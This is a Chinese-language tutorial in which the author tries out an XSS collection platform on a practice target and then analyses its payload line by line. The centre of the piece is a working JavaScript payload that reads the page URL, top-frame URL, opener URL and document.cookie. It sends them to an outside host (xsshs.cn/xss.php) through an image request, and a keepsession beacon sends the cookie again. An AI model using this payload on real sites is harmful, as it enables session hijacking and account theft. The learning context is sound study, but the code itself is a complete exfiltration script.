攻击实列
1. 首先创建一个模块
首次分析,就只选用一个模块,点击下方下一步后。
项目已经创建完毕,下方也有详细的使用教程。
2.先进行使用看下效果。
就使用第一个payload,很明显该payload是访问**//xsshs.cn/F6uJ**这个网址,
//xsshs.cn/F6uJ此方式书写会自动根据网站选择http,还是https
我们打开这个网址,发现就是上方的代码
因此,我们的目标就是,让目标网页访问我们的链接,
靶场测试
成功获取
代码分析
对代码进行整理后
(function () {
//escape() 对符号(空格,标点...),中文进行编码
(new Image()).src = 'https://xsshs.cn/xss.php?do=api&id=wIV7&location=' + escape((function () {
//try catch 异常处理
try {
// document.location.href 获取目标的来源地址
return document.location.href
} catch (e) {
return ''
}
})()) + '&toplocation=' + escape((function () {
try {
//top.location.href 控制框架页面跳转
return top.location.href
} catch (e) {
return ''
}
})()) + '&cookie=' + escape((function () {
try {
//document.cookie 获取cookie
return document.cookie
} catch (e) {
return ''
}
})()) + '&opener=' + escape((function () {
try {
//&&与操作
//三元表达式 (判别式) ? (expr2) : (expr3)
//如果判别式为真则之为expr2 反之为 expr3
return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
} catch (e) {
return ''
}
})());
})();
//一直没看明白,这一步的作用,,,
if ('' == 1) {
keep = new Image();
keep.src = 'https://xsshs.cn/xss.php?do=keepsession&id=wIV7&url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
};
立即执行函数
话说这是什么写法呢?
//立即执行函数:不需要调用立即执行
//有两种写法
//1.法一 (function(){})()
//例子:
(function (a, b) {
console.log(a + b);
})(1, 2); //第二个小括号可以看作是调用函数
//法二 (function(){}())
//例子:
(function (c, d) {
console.log(c + d)
}(3, 4));
//立即执行函数最大的作用就是,独立创建了一个作用域,里面的所有变量都是局部变量不会有命名冲突
怎样获得公网IP的呢?
因为我们嵌入的是一个网址,当目标访问时是以公网ip访问的xss平台就可以记录器公网IP了。
关键函数解释:
Image(); 传送门
escape:传送门
document.location:传送门
top.location:传送门
document.cookie:传送门